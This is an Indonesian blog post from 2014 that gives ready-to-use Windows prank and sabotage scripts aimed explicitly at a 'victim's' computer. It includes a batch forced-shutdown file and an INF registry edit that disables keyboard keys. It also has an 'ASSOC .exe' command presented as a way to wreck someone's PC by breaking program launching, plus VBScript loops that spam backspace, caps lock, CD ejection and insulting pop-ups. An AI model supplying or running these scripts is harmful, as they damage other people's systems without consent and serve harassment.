Senin, 03 Februari 2014

Membuat Command Dasar




ini tidak berbahaya,ada yang berbahaya lainnya yang dinamakan 6289475S590283095E98592385C85235R984091385E0918535T M057820375A809472357L8097420375W804710874A8748912743R807480917E


tebak sendiri!


*Forced Shutdown otomatis
+++++++++++++++++++++++++++++++++
@echo off
msg * Sistem Error
shutdown -c "Error! You are too ******!" -s

+++++++++++++++++++++++++++++++++
simpan script tsb di Notepad dengan nama: (terserah kalian).bat type file : All file
maka Komputer korban akan otomatis Forced Shutdown




*Mematikan Tombol Keyboard
+++++++++++++++++++++++++++++++++
1. Salin baris-baris kode (script) berikut , paste pada Notepad dan simpan dengan nama M4H3N.INF

Langsung kita mulai saja :

[Version]
Signature=”$Windows NT$”

[DefaultInstall]
AddReg =AIUEO

[AIUEO]
HKLM,”SYSTEM\CurrentControlSet\Control\Keyboard Layout”,”Scancode Map”,0×1,00,00,00,00,00,00,00,00,06,00,00,00,00,00,1e,00,00,00,12,00,00,00,
17,00,00,00,18,00,00,00,16,00,00,00,00,00


+++++++++++++++++++++

2.klik kanan nama file M4H3N.INF dan pilih menu: Install

3. Log Off komputernya agar trik ini berfungsi.








*Merusak Komputer orang lain atau sebagainya
+++++++++++++++++++++++++++++++++++++++++++
buka cmd(comand prompt), kalo belum tahu nyari dimana , klik start-run-ketik CMD-Lalu ketikan script ini
ASSOC.exe=.hank
lalu enter.
+++++++++++++++++++++++++++++++++++++++++++





*Tombol Backspace Error
++++++++++++++++++++++++++++++++++++++
MsgBox "M4H3N"
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{bs}"
loop
++++++++++++++++++++++++++++++++++++++





 
*Membuka Tutup CD/DVD room
+++++++++++++++++++++++++++++++++++++++
Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop
+++++++++++++++++++++++++++++++++++++





*Membuat pesan otomatis muncul di layar monitor
++++++++++++++++++++++++++++++++++++
@ECHO off
:Begin
msg * muka kamu sangat jelek
msg * ngaca dulu gih,
msg * hayo lo,cpu lu gw acak acak
msg * udah install ulang aja
msg * biar masalah nya kelar
GOTO BEGIN


++++++++++++++++++++++++++++++++++++





*Capslock akan menyala terus
+++++++++++++++++++++++++++++++++++++
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
loop
+++++++++++++++++++++++++++++++++++++